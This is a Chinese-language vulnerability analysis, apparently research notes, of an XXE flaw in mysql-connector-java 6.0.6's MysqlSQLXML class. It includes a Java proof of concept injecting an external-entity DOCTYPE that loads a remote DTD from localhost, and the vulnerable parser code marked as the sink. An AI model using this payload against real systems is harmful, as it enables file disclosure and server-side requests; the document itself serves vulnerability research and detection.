三方包源代码下载
- https://github.com/mysql/mysql-connector-j (注意估计升级到最新版)
- Sink点所在漏洞文件
- 漏洞patch:
pom.xml
<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>6.0.6</version>
</dependency>
tests.java
import com.mysql.cj.jdbc.MysqlSQLXML;
import javax.xml.transform.dom.DOMSource;
import java.io.IOException;
import java.security.GeneralSecurityException;
import java.sql.SQLException;
public class SQLXMLXXEDemo {
public static void main(String[] args) throws GeneralSecurityException, IOException, SQLException {
// String poc = "<!DOCTYPE b [<!ENTITY xxe SYSTEM \"http://localhost:8013/xxff.dtd\">]><name>&xxe;</name>";
// Connection connection = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/", "root","root");
// SQLXML sqlxml = connection.createSQLXML();
// sqlxml.setString(poc);
// sqlxml.getSource(DOMSource.class);
MysqlSQLXML myXML = new MysqlSQLXML(null);
myXML.setString("<!DOCTYPE foo [<!ENTITY % xxe SYSTEM \"http://localhost:8013/xxe.dtd\"> %xxe;]>");
myXML.getSource(DOMSource.class);
}
}
关键代码分析
- 漏洞代码: ```java import javax.xml.parsers.DocumentBuilder;
…
public <T extends Source> T getSource(Class<T> clazz) throws SQLException {
try {
this.checkClosed();
this.checkWorkingWithResult();
InputSource reader;
if (clazz != null && !clazz.equals(SAXSource.class)) {
SQLException sqlEx;
if (clazz.equals(DOMSource.class)) {
try {
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setNamespaceAware(true);
DocumentBuilder builder = builderFactory.newDocumentBuilder();
InputSource inputSource = null;
if (this.fromResultSet) {
inputSource = new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml));
} else {
inputSource = new InputSource(new StringReader(this.stringRep));
}
return new DOMSource(builder.parse(inputSource)); //sink点
} catch (Throwable var6) {
sqlEx = SQLError.createSQLException(var6.getMessage(), "S1009", var6, this.exceptionInterceptor);
throw sqlEx;
}
} else {
Object reader;
if (clazz.equals(StreamSource.class)) {
reader = null;
if (this.fromResultSet) {
reader = this.owningResultSet.getCharacterStream(this.columnIndexOfXml);
} else {
reader = new StringReader(this.stringRep);
}
return new StreamSource((Reader)reader);
} else if (clazz.equals(StAXSource.class)) {
try {
reader = null;
if (this.fromResultSet) {
reader = this.owningResultSet.getCharacterStream(this.columnIndexOfXml);
} else {
reader = new StringReader(this.stringRep);
}
return new StAXSource(this.inputFactory.createXMLStreamReader((Reader)reader));
} catch (XMLStreamException var7) {
sqlEx = SQLError.createSQLException(var7.getMessage(), "S1009", var7, this.exceptionInterceptor);
throw sqlEx;
}
} else {
throw SQLError.createSQLException(Messages.getString("MysqlSQLXML.2", new Object[]{clazz.toString()}), "S1009", this.exceptionInterceptor);
}
}
} else {
reader = null;
if (this.fromResultSet) {
reader = new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml));
} else {
reader = new InputSource(new StringReader(this.stringRep));
}
return new SAXSource(reader);
}
} catch (CJException var8) {
throw SQLExceptionsMapping.translateException(var8, this.exceptionInterceptor);
}
}
```
特殊之处
- 问题:如何自动识别此类组件漏洞?